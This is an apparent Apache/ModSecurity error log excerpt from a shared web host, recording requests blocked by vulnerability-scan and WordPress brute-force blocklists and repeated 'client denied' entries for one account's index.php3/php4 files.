https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjFkL3Bvd2Vy [Sat Jun 13 18:15:16.237861 2026] [security2:error] [pid 646876:tid 646901] [remote 17.246.23.171:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 171.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ylNyTkdrNlD40tSGd_QAAWRY"] [Sat Jun 13 18:15:16.388441 2026] [access_compat:error] [pid 648189:tid 648228] [remote 57.141.14.14:34372] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:16.388889 2026] [access_compat:error] [pid 648189:tid 648228] [remote 57.141.14.14:34372] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:16.454281 2026] [access_compat:error] [pid 648189:tid 648232] [remote 57.141.14.78:57888] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:16.454739 2026] [access_compat:error] [pid 648189:tid 648232] [remote 57.141.14.78:57888] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:16.483122 2026] [security2:error] [pid 646876:tid 646880] [remote 103.143.207.18:56066] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 18.207.143.103.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "novapathfwf.com"] [uri "/wp-login.php"] [unique_id "ai3ylNyTkdrNlD40tSGeBQAAMAE"], referer: https://novapathfwf.com/wp-login.php [Sat Jun 13 18:15:16.596261 2026] [access_compat:error] [pid 646876:tid 646973] [remote 57.141.14.12:49826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:16.596760 2026] [access_compat:error] [pid 646876:tid 646973] [remote 57.141.14.12:49826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:16.610609 2026] [access_compat:error] [pid 646876:tid 646946] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:15:16.611034 2026] [access_compat:error] [pid 646876:tid 646946] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:15:16.687460 2026] [security2:error] [pid 646876:tid 646959] [remote 17.241.219.201:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 201.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ylNyTkdrNlD40tSGeDgAAcVA"] [Sat Jun 13 18:15:16.841915 2026] [security2:error] [pid 646876:tid 646924] [remote 17.246.15.128:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 128.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ylNyTkdrNlD40tSGeEgAAGi0"] [Sat Jun 13 18:15:17.025994 2026] [access_compat:error] [pid 648189:tid 648256] [remote 57.141.14.44:58119] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:17.026437 2026] [access_compat:error] [pid 648189:tid 648256] [remote 57.141.14.44:58119] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:17.127027 2026] [access_compat:error] [pid 646876:tid 646954] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50Ni9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:17.127440 2026] [access_compat:error] [pid 646876:tid 646954] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50Ni9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:17.178672 2026] [security2:error] [pid 648189:tid 648231] [remote 17.246.19.186:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ylVWSojQL4F7upKBTvQAA-gs"] [Sat Jun 13 18:15:17.178776 2026] [access_compat:error] [pid 646876:tid 646974] [remote 57.141.14.75:41250] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:17.179166 2026] [access_compat:error] [pid 646876:tid 646974] [remote 57.141.14.75:41250] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:17.675136 2026] [access_compat:error] [pid 646876:tid 646962] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:15:17.675590 2026] [access_compat:error] [pid 646876:tid 646962] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:15:17.754547 2026] [access_compat:error] [pid 648189:tid 648249] [remote 57.141.14.82:24674] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:17.754987 2026] [access_compat:error] [pid 648189:tid 648249] [remote 57.141.14.82:24674] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:18.005568 2026] [access_compat:error] [pid 648189:tid 648269] [remote 216.73.216.182:16754] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:18.006023 2026] [access_compat:error] [pid 648189:tid 648269] [remote 216.73.216.182:16754] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:18.013156 2026] [security2:error] [pid 646876:tid 646991] [remote 210.211.99.176:49220] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 176.99.211.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "infraas.digital"] [uri "/wp-login.php"] [unique_id "ai3yltyTkdrNlD40tSGeQgAAGXA"] [Sat Jun 13 18:15:18.142372 2026] [access_compat:error] [pid 646876:tid 646961] [remote 57.141.14.76:33689] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:18.142824 2026] [access_compat:error] [pid 646876:tid 646961] [remote 57.141.14.76:33689] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:18.201890 2026] [access_compat:error] [pid 646876:tid 646940] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:15:18.202360 2026] [access_compat:error] [pid 646876:tid 646940] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:15:18.283936 2026] [access_compat:error] [pid 648189:tid 648323] [remote 57.141.14.49:53293] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:18.284363 2026] [access_compat:error] [pid 648189:tid 648323] [remote 57.141.14.49:53293] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:18.623583 2026] [access_compat:error] [pid 648189:tid 648265] [remote 57.141.14.104:47866] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:18.624014 2026] [access_compat:error] [pid 648189:tid 648265] [remote 57.141.14.104:47866] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:18.722559 2026] [access_compat:error] [pid 646876:tid 646882] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9ldmVudDUvZGV2aWNl [Sat Jun 13 18:15:18.722931 2026] [access_compat:error] [pid 646876:tid 646882] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9ldmVudDUvZGV2aWNl [Sat Jun 13 18:15:18.883321 2026] [security2:error] [pid 646876:tid 646955] [remote 17.241.227.121:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 121.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yltyTkdrNlD40tSGeaQAAPkw"] [Sat Jun 13 18:15:19.021284 2026] [security2:error] [pid 648189:tid 648262] [remote 17.246.19.231:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 231.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yllWSojQL4F7upKBT5gAA8Cg"] [Sat Jun 13 18:15:19.064381 2026] [access_compat:error] [pid 648189:tid 648266] [remote 57.141.14.32:46173] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:19.064858 2026] [access_compat:error] [pid 648189:tid 648266] [remote 57.141.14.32:46173] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:19.248318 2026] [access_compat:error] [pid 646876:tid 646995] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDQvZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:15:19.248779 2026] [access_compat:error] [pid 646876:tid 646995] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDQvZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:15:19.289973 2026] [security2:error] [pid 648189:tid 648289] [remote 17.246.15.143:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 143.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yl1WSojQL4F7upKBT7QAAqkM"] [Sat Jun 13 18:15:19.329695 2026] [security2:error] [pid 646876:tid 647066] [client 128.140.106.114:45932] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "200"] [hostname "cityofmarional.com"] [uri "/index.php"] [unique_id "ai3yltyTkdrNlD40tSGedQAAADo"], referer: https://cityofmarional.com [Sat Jun 13 18:15:19.474551 2026] [access_compat:error] [pid 648189:tid 648320] [remote 57.141.14.32:46181] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:19.474978 2026] [access_compat:error] [pid 648189:tid 648320] [remote 57.141.14.32:46181] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:19.611617 2026] [access_compat:error] [pid 648189:tid 648257] [remote 57.141.14.26:51508] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:19.612109 2026] [access_compat:error] [pid 648189:tid 648257] [remote 57.141.14.26:51508] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:19.655881 2026] [security2:error] [pid 648189:tid 648290] [remote 52.167.144.19:51782] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 19.144.167.52.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "celadondragon.com"] [uri "/contents.php/histanddynasties/content/grammar/Ming/content/grammar/EasternJin/SouthernChen/WesternJin/"] [unique_id "ai3yl1WSojQL4F7upKBT-AAAyUQ"] [Sat Jun 13 18:15:19.778791 2026] [access_compat:error] [pid 646876:tid 646973] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL2V2ZW50NC9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:15:19.779236 2026] [access_compat:error] [pid 646876:tid 646973] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL2V2ZW50NC9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat 